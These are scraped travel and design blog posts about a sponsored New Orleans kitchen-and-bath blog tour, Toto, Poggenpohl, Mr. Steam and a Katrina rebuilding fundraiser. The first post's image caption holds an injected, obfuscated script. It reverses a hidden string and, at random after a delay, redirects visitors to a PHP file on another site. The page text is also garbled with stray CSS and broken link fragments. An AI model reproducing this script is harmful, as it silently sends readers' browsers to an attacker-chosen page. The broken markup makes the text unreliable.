May I Flush In Peace

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Last April 2013 I attended tour-new-orleans-day-one” target=”_blank”>#BlogTourNola in New Orleans as part an amazing program created by Veronika Miller of Modenus.  She selects 10-15 bloggers to take with her several times a year to write about sponsors in a variety of great cities around the world – New York, Paris, Milan, LA, etc.  You probably read about tour-milan-with-antiques-diva-style” target=”_blank”>me being one of those sponsors just 2 months ago in Milan when a group of design bloggers came overseas to write about the #BlogTourMilan event.  As part of participating in the all-expenses-paid blog tour the bloggers are required to write about a certain number of the sponsors.

BlogTourNOLA, Modenus, Toma Clark Haines, New Orleans Design, KBIS,

I’m usually very good at fulfilling my commitments. I’m nothing if not loyal.  However, life got in the way after I attended #BlogTourNola and I didn’t get all the sponsors written about at the time.  I was in the middle of a move, I was in the middle of taxes, and oh by the way, my company was growing by leaps and bounds and I was struggling to manage it all.   Yes, I’m making excuses.   And I have been for over a year.  But since then I’ve felt quite guilty that I never wrote about one of our fabulous sponsors –” target=”_blank”>Toto.

TOTO-NEOREST-750H-Vignette, To<script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to Toilet, High-End bathroom fixtures, BlogTourNOLA, ” width=”600″ height=”459″ />

In fact, Toto has been haunting me.  I was staying at my friend’s apartment in Chicago and went to flush the loo… and who did I see? Toto Toilets!  I was in the Grand Hyatt Hotel in Atlanta speaking at the Design Bloggers Conferrence and again? Who did I see?  Toto Toilets! In fact, at least once a month – always in a high-end luxury accommodation – I would bump into my friend Toto in the restroom.  They were everywhere.  And Toto doesn’t just do toilets.  In fact, they also do bathroom fixture (gorgeous sleek towel racks and paper holders) as well as bath tubs and faucets, even showers.  Toto is the world’s largest plumbing products manufacturer with a complete line of commercial and decorative plumbing fixtures and fittings, faucets, accessories, shower and flush valves, as well as lavatories, toilets, Air Baths and urinals. For over 90 years, they have been producing their products.  I was certain I’d never have a moment’s peace in the bathroom again unless I cleared my conscious – so wanted to write today to tell you about this top brand.  I really like luxury living – whether in hotels on the road or at home – and  I knew without catching up on my BlogTourNOLA obligations I’d never flush peacefully again – because I’m telling you I can’t turn around without bumping into a bathroom product by Toto.  They’re everywhere because quite simply – they’re the best.

Ta Ta for Now,
The Antiques Diva®

(Seen below on BlogTourNOLA with blogger Linda Merrill of Surroundings)

Toma Clark Haines and Linda Merrill, BlogTourNOLA


Dear Diva Readers,

If I were to make of list of what “moves me” I would have to say 3 things…

1) Gorgeous decoratively painted antiques

2) Phenomenally fast and sexy cars


3) Gorgeous gourmet kitchens


It’s the latter where I like to spend my time when I’m not criss-crossing Europe on antique buying trips.  I relax by cooking at home and enjoying a lifestyle that goes hand in hand with the old world style I enjoy with antiques on tour.  Of course, I want the latest innovations in the kitchen, so I can have those silver domed voila moments serving up perfect cuisine on 100 year old plates.

These 3 things get my pulse pumping and lucky for me, given that I live in Berlin, all of them are readily found in Germany!

Regarding point #1 above (gorgeous decoratively painted antiques)… I carried my most recent purchase (an early 19th C painted German cabinet) home in the back of my German car – an Audi SUV – going 220 km per hour (136 mph) on the German autobahn. Wait… I wasn’t speeding! Remember, it’s unlimited speed in Germany on certain sections of the autobahn.

tour10.jpg”>tour10″ src=”” alt=”Antiques Diva Sweden Buying Tour” width=”459″ height=”614″ />

(My most recent purchase – an Antique German Cabinet Circa 1800 +/- with original paint –  which I’ll be tucking near my uber modern kitchen at home to store extra pantry items).

In my house we actually changed the word kitchen to the German pronunciation “kutchen” – for just like das auto, when it comes to kitchens it has got to be German.  The Mercedes of the kitchen world is Poggenpohl – the oldest and best known kitchen brand in the world.

Founded in 1892 in the heart of Germany, Poggenpohl has been reinventing life in the kitchen one idea at a time.  Poggenpohl was the first to introduce the transformative innovations we consider standard today – white lacquer furniture, ergonomic work-top heights, and the kitchen island!  In fact, with a company this old I could combine my love of antiques with their brand… anyone in the market for a kitchen from 1928, Poggenpohl style?

(Poggenpohl Circa 1928)

By 1930 Poggenpohl was already becoming an international brand.  And while this might be an old German company, their designs are anything but old fashion.

(Poggenpohl Circa 2011)

The brand’s innovative new technologies and expertise has its fame spreading far beyond the German borders and today they are known as a trend setter in the kitchen world providing unsurpassed quality, craftsmanship and materials paying the utmost attention to detail – never compromising on perfection.

From their German hand manufacturing site they sell to more than 70 countries around the world and their product is being used in some of the top real estate development projects being implemented around the world.  Their name is synonymous with luxury-living and their kitchens confer exclusivity, create desire and add value to homes everywhere.

And when I say everywhere – I do mean everywhere…. Here are just a few of the places Poggenpohl is popping up:” target=”_blank”>The Residences at The Ritz-Carlton, Grand Cayman, Cayman Islands 

These “Residences” offer a variety of spacious and elegant oceanfront homes that bring a new concept in Caribbean living to the region’s most affluent island. Situated on the widest stretch of world famous Seven Mile Beach, these Residences are offered with two to seven bedrooms (2,400-20,000 square feet) and are priced from $3 million. Each Residence features open floorplans, nine to ten foot ceilings, a professionally equipped Poggenpohl chef’s kitchen and terraces overlooking the Caribbean Sea.

515 Park Avenue

515 Park Avenue, on the southeast corner of 60th Street in the Big Apple, is the tallest residential building on Park Avenue located in the Lenox Hill neighborhood. The building has 36 floors with 43 apartments, of which 26 are single floor units. 515 Park Avenue offers many high end services including doorman, fitness center, wine cellars, private dining room, residents only library, and maid service .  That maid service will come in handy cleaning up after all the posh parties the residents are going to hold, entertaining out of their Poggenpohl kitchens.  For years NYC has been known as a place where the residents dine out rather than inviting guests over for a night in – but Poggenpohl’s kitchens at 515 Park Avenue are changing the NYC nightlife!

London, Trevor Place, Knightsbridge

Knightsbridge is arguably London’s premier residential area and is enhanced by many world class shops, hotels and restaurants.  Of course, I fear Poggenpohl’s kitchens might put the area restos out of business – with their gourmet kitchens, why eat out?

The brilliant thing about Poggenpohl is you don’t have to go to exotic locations such as London, NYC or Grand Cayman to have Poggenpohl in your own home.   You can go online and download″ target=”_blank”>Poggenpohl’s catalog so you can start doing some armchair kitchen renovation from home sweet home… haus süß haus!

The Antiques Diva®

Antiques Diva Toma Clark Haines

(seen here at KBIS at BlogTourNola, with my BlogTour friends)


You Can Make a Difference

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 80px; line-height: 70px; padding-top: 1px; padding-right: 5px; font-family: times;”>Many of you know I lost my home in a fire last year on Thanksgiving.  It’s taken 4 months of living in temporary housing before we found a new home which we moved in last month on April 1st.   Now, our new house sits near empty as we one piece at a time buy purchases to make our house a home.  It was an air mattress  at first, then they delivered the mattress for our bed – but we have to wait another 2 months before the bed itself is delivered.  It’s not been easy and these 6 months since the fire have felt like an eternity.  Perhaps it’s for this reason that my visit to New Orleans last month hit home more than I expected.  It’s been 8, nearly 9 years since Hurricane Katrina hit the Gulf Coast in August 2005 and yet many residents in New Orleans still do not have homes and/or are still living in unrenovated homes.  One of the couples we meet in New Orleans on tour” target=”_blank”>#BlogTourNola who particularly touched my heart was Joe and Gloria Robert of New Orleans.

~ Photo Credits:  Linda Merrill of Surroundings ~

They were newlyweds looking forward to a bright future together when Hurricane Katrina hit.  They had lived in their new home only one month before Katrina slammed the city and they lost everything when the levee behind their house was destroyed – one of 53 levees in the city breached by the storm surge – and canal water swallowed the home. The Roberts evacuated the city, staying with various friends and relatives.  When the flood waters receded weeks later, Joe and Gloria moved into a pop-up camper in their driveway for a while, but they’ve also been staying with a family member as well.

Nearly eight years later, Joe and Gloria’s house is still uninhabitable. While a new house has been framed out, the building lacks essentials including electrical, drywall, flooring and plumbing.  Because Joe is a contractor by trade, he has the skills to work on his house, but he has generously donated much of his free time to volunteering with St. Paul’s Homecoming Center , helping to rebuild other people’s houses.  You’ve heard the expression about the cobbler’s children having no shoes?  Well that’s Joe.  He’s spending all his time and resources helping others.

Joe works on his home little by little, but is often derailed by setbacks such as having his house broken into and his tools stolen. Even though Joe was forced to save up until he could replenish his tool supply, he has not lost his faith in humanity and happens to be one of the most gracious, humble human beings you’ll find.

Fortunately, Joe and Gloria received some good news recently when torehouse-and-NKBI-rebuild-3-homes?open&lpos=ctr_txt_NKBI” target=”_blank”>Storehouse of World Vision selected the couple and their house for a rehab project. A few weeks ago Storehouse joined forces with the National Kitchen and Bath Association (NKBA) and St. Paul’s Homecoming Center to help rehab kitchens and baths in three houses as a lead-in to NKBA’s Kitchen & Bath Industry Show (KBIS) which I had the opportunity to attend with tour” target=”_blank”>#BlogTourNola on  April 19-21 in New Orleans.

The Fund Raiser for Joe & Gloria is affectionately being called “Joe to the World”!

While Storehouse and NKBA partners have donated materials, appliances and labor for a new kitchen and bath in the Robert’s house, the rest of the unfinished home still needs lots of TLC.   And that’s why  World Vision has agreed to dedicate a page to Joe Robert and his story as well as a link to a fundraiser just for Joe.   This donation page is coded so that all funds received on this link by May 15 will go to Joe Robert and the folks at St.Paul’s Homecoming Center.

Dear Readers, I ask you to join me in helping give Joe & his wife Gloria a home.  You can make a difference in one person’s life – a person who has dedicated the last 8 years to making a difference in other people’s lives.    Having lost my own home through a fire I can tell you recreating a home is healing – please join #BlogtourNola, NKBA, KBIS, Storehouse World Vision, and St Pauls Homecoming Center in helping to provide the basic necessity of helping to provide a roof over one’s head

More About Storehouse of World Vision

World Vision’s Storehouse network is comprised of six warehouses across the U.S. that receive corporate donations of new, top-quality goods made available to local community partners for distribution. Goods that are distributed include building materials, school supplies, personal care items, and clothing to over 2.2 million people in low-income communities annually.

More About the National Kitchen & Bath Association

Now celebrating its 50th Anniversary, the National Kitchen & Bath Association (NKBA) is a not-for-profit trade association that owns the Kitchen & Bath Industry Show (KBIS®). With nearly 60,000 members, the NKBA has educated and led the kitchen and bath industry since the association’s founding in 1963. The mission of the NKBA is to enhance member success and excellence, promote professionalism and ethical business practices, and provide leadership and direction for the kitchen and bath industry worldwide. For more information, visit the NKBA Press Room or

call 1-800-THE-NKBA (843-6522). KBIS and NKBA are registered trademarks of the National Kitchen and Bath Association.

You can make a difference!

The Antiques Diva®
(seen here with BlogTour Friends)

#BlogTourNOLA – National Kitchen and Bath Association

Dear Diva Readers,


top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>This is my month for attending awards shows! In my last blog post I was telling you about the Young Guns competition, today it’s NKBA – The National Kitchen and Bath Association’s annual award ceremony.  While in New Orleans (in my mind you’re reading that with the appropriate southern drawl) as part of tour” target=”_blank”>#BlogTourNOLA, my interior designer and design blog friends and I were lucky enough to be invited to attend the KBIS (Kitchen and Bath Industry Show) when NKBA announces the winners for the Best Kitchen and the Best Bath during their annual NKBA Design Competition.

Given this was an event for interior designers DESIGNED by interior designers, you can imagine the venue was simply to die for – the coup de grace of the raw warehouse space of Republic was the clustering of crystal chandeliers hanging above center stage and just opposite our dedicated #BlogTourNOLA table in the gallery overlooking the stage.  We moved & shook with other design professionals and when the winner for the 2013 Best Kitchen design was announced to be Wendy F. Johnson our #BlogTourNOLA crowd erupted into a roar of applause.  A few days later some #BLogTourNOLA friends and I found ourselves dancing at the Spotted Cat with Wendy and I must tell you this girl dances with as much passion as she designs!  

tournola-nkba-show.jpg”>tournola nkba show” src=”” alt=”” width=”614″ height=”461″ />

As a newbie to the world of Kitchen & Bath Design, I quizzed my friends about the NKBA. While I work with a lot of interior designers in my profession leading antiquing buying tours and offering buying services for interior designers and antique dealers (as well as non-trade, mere shopping mortals) I don’t know much about how the Kitchen and Bath Industry works.  While sitting at our table at the awards, I asked my friends (many of whom are NKBA certified as well as interior designers), “When you’re ready to remodel your kitchen or bath, don’t a lot of people just hire a contractor and hope for the best?”   My friends nodded, “Yep – and that explains a lot of the poor kitchen design we see.  What you should do is have your builder work together with a NKBA designer – the result will be the most beautiful and functional kitchen or bath for your home!”

When doing a kitchen or bath, always consult an expert. Choosing the right design professional is an important decision for your project’s success. By selecting an NKBA-certified designer, you will be working with a professional who has demonstrated comprehensive knowledge in kitchen and bath design, as well as construction, mechanical, plumbing and electrical systems.  These are designers who adheres to a strict code of professional conduct.  NKBA designers recognizes the importance of consumer health, safety, and welfare in kitchen and bath design – and best of all the NKBA provides training and tools specifically for their members so their designers can meet their clients needs and wants and creating designs that meet and exceed these requirements.

In fact the NKBA website has a great video which highlights why one should work with an NKBA designer.

I love pouring through Pinterest and getting inspiration – but for Kitchens & Baths I’ve discovered something better than Pinterest or Houzz!!  The NKBA website has a slew of kitchen p*rn!!  Hundreds of photos of dream kitchens designed by their own NKBA professionals.

NKBA Kitchen Design

NKBA KItchen Design

NKBA Kitchen Design

NKBA Kitchen Design

If you’re considering a Kitchen or Bath Remodel, why don’t you reach out to the NKBA using their online resource for finding an NKBA professional near you.

Ta Ta For Now,
The Antiques Diva®

Getting Steamy In New Orleans


Dear Diva Readers,

I’ve got the tour” target=”_blank”>#BlogTourNola Blues… while I had the time of my life, I’m utterly depressed the trip is over.  I didn’t want to leave Crescent City – such were the food, the fun, the friends and the fantastic designs.  The trip was – AMAZING – and – down-right exhausting.  After all that fun, my #BlogTour amies and I decided we definitely needed a SPA BREAK! And where better to go than my favorite chain hotel –” target=”_blank”>The Ritz Carlton?

Located on the edge of the French Quarter, this hotel features a destination spa – with over the 25,000-square-feet of award-winning spa facilities and fitness centre with  full range of therapies and treatments.

The Ritz-Carlton Spa, New Orleans features 22 treatment rooms, over 100 therapies, a Spa Café, a fitness center, retail store, complimentary valet parking and more.  Even more The Spa was selected as a Top Hotel Spa in the United States and Canada by Travel + Leisure magazine and selected by Elle magazine as one of the Top Ten Spas in the United States.  What makes The Ritz-Carlton Spa, New Orleans stand above the rest is not only its physical decor but the fact that they only use the best products and brands in their spa – that’s why it’s no surprise that they have included a steam room from  #BlogTourNola sponsor Mr. Steam to help their clients relax diva-style in Nola.

A visit to a Mr Steam steam room is guaranteed to relax every muscle in your core .  Steam rooms provide many therapeutic services – they help you relax, relieve stress and sore muscles, improve blood circulation, rejuvenate skin and reduce sinus congestion… not to mention steam hydrates skin pores and opens them up so that toxins can be flushed out.

I love nothing more than taking time out of my busy travel schedule (did I mention I was on 3 continents this month?) to pamper myself – diva style – and for me steaming is a regular part of my health and beauty routine.  But I usually do it at my esthetician or spa… until meeting Martha Orellana, Vice President of Mr. Steama woman I like to call Mrs Steam – I didn’t know it was possible to have the spa experience at home!!

Martha Orellana, Vice President of Mr. Steamone of the country’s’ largest manufacturers of steam generators

Forget the Ritz baby, I’m bringing Mr Steam home for my next spa date!  If there is a face to Mr Steam – it’s Martha’s.  When a VP could be the model for their own companies media campaign you know the product she’s using is spot on!  Having the chance to tour New Orleans with Martha this week I was able to see how she pours her heart and soul into her company and as a result of her dedication to her product, she is a picture perfect vision of good health – great skin and a gorgeous glow.   Of course, Martha doesn’t just hit the steam room once a month at the spa – she has incorporated it into her regular life.

The Mr Steam motto is “Making Wellness a Way of Life”.  For over 50 years, informed architects, builders, remodelers, and consumers have chosen Mr Steam as the premier source of upscale, and high quality steam products including towel warmers, shower speakers, shower seats, aromasteam and chromasteam™ systems.    Should you be thinking about creating your own home spa –  Consider Mr Steam!

Happy Spa-ing,
The Antiques Diva®

Blog Tour New Orleans: Day 4


Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 80px; line-height: 70px; padding-top: 1px; padding-right: 5px; font-family: times;”>It’s all about KBIS today –  The Kitchen & Bath Industry Show (KBIS) being held in New Orleans this April 19-21, 2013 (Friday thru Sunday) at the Convention Center.  Because #BlogTourNola never does anything without creating a buzz, we’ll be kick starting the day with Beignets & Bubbly, a media get-together of epic proportions where over 200+ top designers, design writers and editors mingle while attempting NOT to get sprinkled with delicious white powdered sugar from the doughnuts!   We’ll also be taking a series of VIP media tours into some of our favorite vendors at the fair.


We’ll start the day with a media event at Wilsonart – one of America’s leading brands for countertops before meeting Danny Seo who will be talking about eco-friendly home remodeling.

Through his best-selling books, television programs, products, magazine columns and his how-to lifestyle lectures, Danny Seo continues to share the creative ideas that have made him America’s leading lifestyle authority on modern, eco-friendly living.

tone-beige-wineglasses.jpg”>tone” src=”” alt=”” width=”300″ height=”300″ />

Next up we get more time with” target=”_blank”>Silestone after spending yesterday afternoon with their reps as we toured houses in the Make It Right foundation where Silestone is a key sponsor in donating materials for these incredible innovative rebuilds.  It is incredibly moving to see how this company gives back – truly investing in the future of New Orleans as they help residents rebuild their homes.  For those of you who aren’t familiar with Silestone, they are the world leader in natural quartz surfaces for kitchens and  baths.

Fire Pizza Oven

For this next media tour with Kalamazoo Outdoor Gourmet I’m praying they will be giving samples….  Kalamazoo is bringing the pizzeria home with their Artisan Fire Pizza Oven. Then we’ll be heading over to Toto… TOTO is the world’s largest plumbing products manufacturer. They offer a complete line of commercial and decorative plumbing fixtures and fittings, faucets, accessories, shower and flush valves, as well as lavatories, toilets, Air Baths and urinals

torso-holding-a-silver-tray-with-catering-dome-on-a-white-background.jpg”>torso-holding-a-silver-tray-with-catering-dome-on-a-white-background-1024×898.jpg” alt=”” width=”258″ height=”226″ />

After all this media buzz at KBIS we’ll have worked up an appetite.    But have no fear because our sponsors Poggenpohl/Blanco/Silestone are having us to their showroom for a special private dinner!!!

Today is going to be a day devoted to learning more about some of the key brands in the kitchen and bath industry.  While I personally don’t work in Kitchens & Baths, I love the opportunity to better understand the house as a whole so that I can learn how the whole house functions together in great design.

Warm Regards,
The Antiques Diva®

Blog Tour New Orleans: Day 3


Dear Diva Readers,

When you imagine the flickering fantasy of New Orleans it’s the lanterns dotting the French Quarter that casts a romantic glow in your mind.  But did you realize that in a day and age of increasing globalization, this city’s iconic copper lanterns are still made locally by hand using old world techniques in a family-run business here in New Orleans?

Antiques Diva BlogTourNOLA

I’m delighted that this morning we’ll start our day out with tour” target=”_blank”>BlogTourNola getting to know the family who runs Bevolo Gas & Electric Lights  and having an opportunity to explore their factory.  This company was first founded in 1945 and revolutionized the gas lighting industry – 6 decades and 3 generations later they’re still going strong supplying not only locally but in 29 countries.

New Orleans

And speaking of strong, perhaps I should mention I like my coffee strong.  We’re heading out the door to tour their shop with #BlogTourNola at 7am, and rumor has it that Beignets and Coffee will be the olfactory pied piper should any of the Bloggers stay out too late the night before.  I must confess the first night on #BlogTour I joined a few friends on our roof-top terrace to dip our toes in the pool and continue chatting in a more intimate setting!

New Orleans

While #BlogTourNola involves a LOT of wining & dining,  it’s really all about design and in essence design is popular because it is through design that each makes our house a home, giving our homes a personal stamp.  But what if you didn’t have a home?  With the advent of new “news and natural disasters”, Hurricane Katrina may seem a long time ago – in fact, it was nearly 8 years ago – and yet New Orleans is far from being completely renovated and there are a lot of residents still displaced from the disaster.

tone” src=”” alt=”BlogTourNOLA” width=”461″ height=”109″ />

One of our #BlogTourNola sponsors –” target=”_blank”>Silestonehas been actively involved in the restoration efforts – they are a key partner in Brad Pitt’s Make It Right Foundation.  Silestone will pick us up downtown and bring  us to Gentilly in the north of New Orleans – one of the hardest hit areas during hurricane Katrina  where many families lost everything they owned.

 Photo Credit: The Examiner

Three families are now able to move into their newly remodeled or rebuilt homes through the help of The Storehouse of Worldvision which supplies building materials to over 2 million people in need, annually. The Storehouse project is supported by many great corporate sponsors and manufacturers of building materials and home products, including BlogTour sponsors the NKBA and torehouse-of-world-vision-and-nkba-help-three-deserving-families-rebuild-homes-ahead-of-the-2013-national-kitchen-bath-industry-show-kbis-in-new-orleans/ ” target=”_blank”>KBIS.

We at #BlogTourNola are proud to be among the first to tour the completed homes and share more about this important project. We’ve been invited to do this, to spread the word that the work is not over yet Our# BlogTourNola community has a combined reach of 1 MILLION Twitter followers and we’re hoping to use the power in our tweets to make the world aware that there is more work – and help needed – here in New Orleans.

to-29728.jpg”>to-29728.jpg” alt=”” width=”525″ height=”395″ />

Next up we’ll visit an amazing modern architectural project. With Hurricane Katrina, these new Modernist designs are the “new” New Orleans. Brad Pitt’s foundation has produced over 80 homes and involved many local architects in addition to industry icons like Frank Gehry.

As the afternoon gives way to evening, we’ll continue celebrating design, attending the NKBA Design Awards night and dinner.

Net, net – today is guaranteed to be another amazing day in New Orleans!!

Stay Tuned for more Blogs from Crescent City!
The Antiques Diva®

Blog Tour New Orleans: Day 2


Dear Diva Readers,

Let’s face it – coming to New Orleans for design inspiration was only part of the story…I also came here to eat, New Orleans Style, from crayfish to beignets.

tour” target=”_blank”>#BlogTourNola sponsor KBIS knows the way to my heart.  While the Kitchen and Bath Industry Show at the New Orleans Convention Centre is still being set up behind the scenes with the official show running April 19-21, the show coordinators are taking me and the rest of the #BlogTourNola crew to breakfast this morning at Luke to whet our appetites for what’s to come later at the show.

Photo Credit: Travel Muse

Chef John Besh runs this famous grand old Franco-German brasserie Luke in the style of the famous New Orleans brasseries of yesteryear . Since opening in 2007, Luke has been hailed by Condé Nast Traveler and Travel + Leisure for its “disarmingly home-spun culinary touches and broad-shouldered dishes that satisfy something more than just an appetite.”  While filling up on breakfast foods, er… I mean preparing ourselves for the hard-core work we’ll be doing later in the day, we’ll learn more about KBIS while discussing  innovative kitchen and bath designs and the new products we’ll find at the KBIS Show.


Then we’ll head out for a streetcar ride to tour the Garden District, Audoban Park and Zoo and Tulane University.  You’ll want to make sure to follow me on Facebook so you won’t miss one photo from #BlogTour Nola

Next up, Shaun Smith will be taking us on an antiquing & design tour in New Orleans, visiting the shops on and around Magazine Street!! For me this a real treat – normally I’m the one leading the antique shopping tour  and it will be such a pleasure to be able to sit back as the tour-ee for a change!!

Shaun Smith is a residential and commercial design firm and boutique based in New Orleans and they have a passion for creating, stylish, organic, and contemporary spaces utilizing a mixture of modern and rustic design components with simple and clean lines.  They truly capture New Orleans living in a way that rejuvenates, inspires, and encompasses the essence of living well.


Photo Credit: 

Photo Credit:  

Needless to say I cannot wait to see what insider NOLA décor shops they highlight on their tour today –  And don’t worry – I promise to share everything I learn with you.  No way I’m hiding this light under a bush, oh no! In fact,  if you are on Twitter, you can follow me @TheAntiquesDiva for live tweets or check out the hashtag #BlogTourNOLA so you can read not just my insights on our tour but my BlogTour companions insights as well!  We’ll finish our tour in the Shaun Smith Home Shop.

And just when I thought I’d died and gone to New Orleans, it gets even better.  After spending a fabulous afternoon doing my favorite pastime (and profession) – Antiquing – this evening we’ve got a date with  my design hero, Miles Redd, for cocktails at the Ogden Museum of Southern Art!

Miles Redd is an internationally acclaimed interior design sensation, known for his quirky brand of cozy glamour. An Atlanta, Georgia native turned New Yorker, his work has been published in Elle Décor, House Beautiful, Vogue, House & Garden, Domino and W magazines…. And as of last fall, Redd’s fabulous “The Big Book of Chic” (published by Assouline), has hit the shelves.  This is an inspirational resource and compilation of all things chic, lavishly illustrated featuring a diverse selection of his unique interiors, a visual feast for anyone interested in spirited, eclectic design.

If you’re as smitten with Miles as I am you must take some time to listen to this interview with my fellow #BLogTourNola compatriot Linda Merrill of Surroundings – posted on her popular interior design podcast The Skirted RoundTable.

Miles Redd – Elle Décor

Miles Redd in Texas

Loaded down with a freshly signed design book… next up, it’s time for JAZZ!!! You CANNOT go to New Orleans and NOT listen to music! So we’ll skip out of the Ogden and over to Lafayette Square for Wednesday at the Square.  This is part of a series of twelve free outdoor concerts from early March through late May by well-known New Orleans and Louisiana artists. Tonight we’ll be listening to The Revivalists + Disco Demolition Knights.  Elevated above the crowd on a big sound stage, each week bands perform a wide variety of indigenous musical styles, including jazz, rock, funk, swamp pop, Latin rhythms and more.

Photo Credit: tos/offbeatmagazine/7263820408/” target=”_blank”>Off Beat Magazine

Once our toes getting tapping, we’ll leave the muggy outdoors to get steamy INDOORS  ….  Get your mind out of the gutter.  We’re going to dinner courtesy of Mr. Steam!  You’ll remember that Mr. Steam is one of our #BlogTourNola Sponsors. 

Mr.Steam® makes the world’s most luxurious steam showers and steam baths for the home and for the spa  – not to mention diva worthy towel warmers!  They’re taking us to Bayona where Louisiana native Susan Spicer defines her cooking style as being  “New World”.  She’s known for her imaginative dishes on a constantly changing menu served in an early-19th-century Creole cottage that glows with flower arrangements, elegant photographs, and trompe l’oeil murals suggesting Mediterranean landscapes.   Rumor has it that this is the place to eat dessert first, lest you’re too full to eat dessert.  I’m having fantasies about that maple-semolina cake with golden-raisin compote and pomegranate sauce.

The only thing I love more than food, antiques and travel is taking time to go to the spa – unfortunately it’s something I don’t do nearly enough.  When I do go one of the first things I do is plan time in the steam room before the sauna and then an ICE SHOWER.    With Mr Steam, it’s now possible to have that Spa Experience at home, avoiding what #BlogTourCologne alumni Paul Anater calls “Being Naked in Public”.  One of the products we’ll be learning about is the iSteam, a new home steam shower experience that marks a new era in bathroom remodeling options. As easy to use as a smart phone, the beautiful graphics of the iSteam touch panel are unprecedented in steam controls. With a swipe of the finger, the iSteam’s intuitive touch screen navigation allows the user to seamlessly control temperature, time, aroma, chroma, audio entertainment, and overall steam system functionality.  You can even use iSteam’s accessory commands for optional chromatic lighting and aromatic infusers to transform your shower into a sensory spa.  Now this sounds like an experience fit for a diva.

In fact, this whole day is Diva Worthy! From Shaun Smith Home, to Miles Redd to Mr Dreamy, I mean, Mr Steam….  Today in New Orleans is Drop Dead Diva!

The Antiques Diva®

Blog Tour New Orleans: Day One

Dear Diva Readers,

You’ll remember last March 2012 I had the incredible opportunity to attend #BlogTourNYC as part of a design initiative created by Veronika Miller, the brainchild behind the world’s best interior design resource catalog and networking platform Modenus.

Well, drum roll please… no wait… let’s pull out the full on orchestra!

This pic was taken this weekend at the New Orleans French Quarter Festival

#BlogTour is back… and this year I’m going to New Orleans, with tour” target=”_blank”>#BlogTourNola!

tour”>Antiques Diva BlogTourNOLA

In fact, I SHOULD sayI’m in NOLA” as I came to town a few days EARLY to warm up the crowds and get the party started early for the rest of the BlogTour crew!  When my editors at a UK publication heard I was going to be on this side of the pond, they sent me on assignment a little early so I’ve been doing a little antiquing, New  Orleans style, scouring the south to see whats chic for an upcoming print feature.

BlogTourNOLA  Antiques Diva

The Blog Tour New Orleans Crew –  tour-nola-meet-bloggers.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Dec-a-porter+%28Dec-a-Porter%29″ target=”_blank”>Meet the Bloggers

Today – Tuesday, April 16 – I will meet up  with the Rest of the #BlogTourNola gang as they arrive in town to join me with Modenus for a full on 4 days of fun and festivities meeting sensational sponsors and expanding my design repertoire!  Together with the entire #BlogTourNola Team I will be covering NOLA’s design scene, antebellum architecture in the Garden District, Creole architecture in the French Quarter and a selection of very modernist developments in the parts of town that were most heavily damaged during Hurricane Katrina.

Antiques Diva

Shockingly, 8 years after Hurricane Katrina ,many of these areas are still not rebuilt and families were never able to return home. Hopefully the coverage from BlogTour will spark renewed interest into this situation – in fact, many people are simply unaware the problem remains and that the newly funded development could also mean jobs for many in the area.   Your support in helping #BlogTourNOLA share the message by retweeting and sharing the message on Facebook would be greatly appreciated for our initiative.

Last year, NYC was a crash course in interior design as we met some of the top movers and shakers in the Big Apple at the Architectural Digest Design Show.  This year in Crescent City we will be beating a different drum – we will be spending 2 days at KBISthe Kitchen and Bath Industry Show at the New Orleans Convention Centre.


This is the main event for the Kitchen & Bath industry and it is an inspiring, interactive showcase of everything new in the field, where the brightest and best designers and brands assemble to spot trends, experience product introductions and find the practical solutions and valuable connections that will take them into the future.  As you know for my antique buying tours in Europe we work with both tourist and the trade – antique dealers, interior designers and architects.  For my trade clients, this is one of the biggest shows they attend each year and I’m delighted I’ll be able to join several of my top clients this year in person at the show as we discuss how the trends impact their design needs.

Now…   you know me.  I LOVE FOOD and I’ve got to tell you New Orleans is a fabulous place to host a Kitchen show… because this is a serious Foodie town!  From poboys, jambalaya and gumbo to beignets and chicory coffee… this diva has some serious eating to do while she’s in the house.

We’ll kick off our #BlogTourNola events with a dip into our hotel bar tonight before walking through the French Quarter to Sobu Nola – a restaurant that Esquire Magazine voted one of the Best New Restaurants in America.

tocredit_michael_kleinberg.jpg”>tocredit_michael_kleinberg-1024×677.jpg” alt=”BlogTourNOLA” width=”614″ height=”406″ />

Photo Credit: © tocredit_michael_kleinberg-jpg/” target=”_blank”>Michael Kleinberg

In addition to KBIS serving as a wonderful sponsor, our other sponsors for this week’s fabulous festivities include:

Blanco – For three generations, BLANCO has quietly and passionately elevated the standards for luxury sinks, faucets and decorative accessories.

Du Verre – Du Verre Cabinet Hardware and Bath Accessories, Du Verre has begun transforming its manufacturing process to reflect global concerns about sustainability

Mr. Steam – Mr.Steam® makes the world’s most luxurious steam showers and steam baths for the home and for the spa  – not mention diva worthy towel warmers!

NKBA – The National Kitchen & Bath Association (NKBA) is an international non-profit trade association for kitchen and bath professionals. They provide resources for consumers and industry professionals and promotes professionalism and ethical business practices.

Poggenpohl –  Poggenpohl  is a time-honoured kitchen brand and one of the world’s best-known. The design and production of these exclusive kitchens is carried out in Herford, Germany with distribution to all continents. Complete kitchen solutions are sold to end-consumers through about 35 Group-owned stores in major cities, to independent kitchen stores and to business customers in the project market.

tone.jpg”>tone” src=”×298.jpg” alt=”” width=”180″ height=”179″ />” target=”_blank”>Silestone Silestone is the world leader in natural quartz surfaces for kitchens and bath – its natural quartz surfaces are treated and created to decorate today´s kitchens and bathrooms in a range of attractive quartz colors and extraordinary quartz textures with top-quality performance. It is the only countertop with a bacteriostatic protection that guarantees maximum tops” href=””>hygiene on its surfaces.

